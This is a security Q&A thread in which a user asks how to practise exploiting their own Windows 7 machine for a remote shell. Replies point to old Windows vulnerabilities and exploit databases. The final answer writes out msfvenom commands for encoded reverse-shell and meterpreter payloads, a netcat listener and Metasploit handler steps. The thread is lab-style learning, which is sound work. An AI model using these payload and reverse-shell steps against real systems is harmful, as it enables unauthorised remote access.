3

I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell.

I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of vulnerability which lets me reach my goal.

So is there any vulnerable service containing a buffer over flow which I can install on my Windows 7 machine, and use it to exploit that machine remotely with metasploit.

More informations : 

  • The machine that I am trying to exploit is mine, so everything is legal.

  • I am using Ubuntu 15.10 with the latest version of metasploit (I installed it from kali repositories).

  • Clarification: am I correct in understanding that you want to limit your exercise to hitting a remotely-exploitable network service running on your Win 7 box? Or will an avenue where some user interaction on the machine (eg. browsing to a malicious web site) okay? – mostlyinformed Apr 1 '16 at 4:22
  • Also, if you are focusing on remotely exploiting a network service, does the network service have to be part of Windows itself or can it be a third-party piece of server software. (If it has to be a network service within Windows, you'll probably need to go back to 2009-2011 to find a vulnerability that has a reliable publically-available exploit.) – mostlyinformed Apr 1 '16 at 5:14
  • For the 1st question : yes, my exercice is limited to hitting a remotely exploitable network service running on windows 7. For the 2nd question : The network service doesn't have to be part of windows itself and can be a third party, but it would be nice if the service is known and used. Thank you for your help man, really appreciate it. – Sidahmed Apr 1 '16 at 7:40
  • It's not very realistic that there's a network service available on a Windows 7 machine since it's designed as a client-side operating system. The highest security risk is the user which installs software and opens files. This would also be an attack vector which is easier to exploit. – Noir Apr 1 '16 at 9:56
  • Please man, I need a vulnerable service to install. – Sidahmed Apr 2 '16 at 4:13
2

On the assumption that the Windows 7 machine doesn't need to be fully patched / updated - you could look at running a vanilla (no updates applied) copy of Windows 7 with User Account Control (UAC) disabled, and exploit MS10-046.

MS10-046 is a critical vulnerability which could allow a potential attacker to gain the same level of user-rights as the local user (where most average-joes use an account with Administrator privileges). The vulnerability affects both 32-bit and 64-bit versions of Windows 7.

The exploit relates to the handling of .LNK files which has the icon resource pointing to a malicious Dynamic Link Library (DLL) file.

Without explicitly knowing whether it needs to be a buffer overflow vulnerability - I'd say this should do the trick, or similarly you could use a distribution like Metasploitable which is intentionally left vulnerable.

  • where can i found this Windows 7 version ??!! For information, I have a fresh installation Windows 7 on my machine, but couldn't find any security hole win nessus scanner. – Sidahmed Mar 31 '16 at 15:17
  • 2
    A vanilla copy is just software in its original form without any updates, or customisations applied to it. – 1ntgr Mar 31 '16 at 15:20
  • 1
    @Sidahmed you have an unpatched install of Win7 and Nessus couldn't find any problems? I think you have something wrong there. – schroeder Apr 1 '16 at 4:58
  • @schroeder no, nessus did find problems, but only DOS problems, not anything that will help me get a remote shell. – Sidahmed Apr 1 '16 at 7:36
0

There are several exploits available (like MS14-064) for Windows 7 through 8 and maybe 10. Not all will be applicable as mentioned by @1ntgr

You can search for them here: http://www.intelligentexploit.com/search-results.html?search=Microsoft+Windows

You may want to target installed programs on the machine otherwise. Refer to http://www.exploit-db.com

Otherwise you could always try the famous SMB/NTLM capture by tricking the victim to access your target server.

PS: I could not add more than 2 links here, but feel free to DM me @haxorhead.

0

I used this ftp vulnerability (@halfinformed gave it to me in the comments).

So here is the steps to install and exploit with a simple reverse shell :

  1. Install the vulnerable service from the link given above.
  2. Generate a new payload that fits your need (depending on your IP address) with this command msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=your_ip_address LPORT=4444 -e x86/shikata_ga_nai -b "\x00\x0d\x0a\x3d\x5c\x2f" -i 3 -f python.
  3. Replace the payload in the exploit script with the payload generated by the previous command (from line 23 to line 55).
  4. Replace the IP address of the victim in the exploit script (line 61).
  5. Listen with netcat on another terminal with the command nc -nlpv 4444.
  6. Launch the exploit script with python path_to_exlpoit_script.py.
  7. Go to the terminal where you launched nc, you will find a reverse shell waiting for you.

If you wan't to exploit with meterpreter payload, you need to change steps 2 and 5 :

  1. Generate the meterpreter payload that fits your need with this command msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=your_ip_address LPORT=4444 -e x86/shikata_ga_nai -b "\x00\x0d\x0a\x3d\x5c\x2f" -i 3 -f python.

  2. Listen with meterpreter in another terminal. To do so, open metasploit and type use exploit/multi/handler ; then set payload windows/meterpreter/reverse_tcp ; then set lhost your_ip_address ; then set lport 4444 ; finally exploit.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.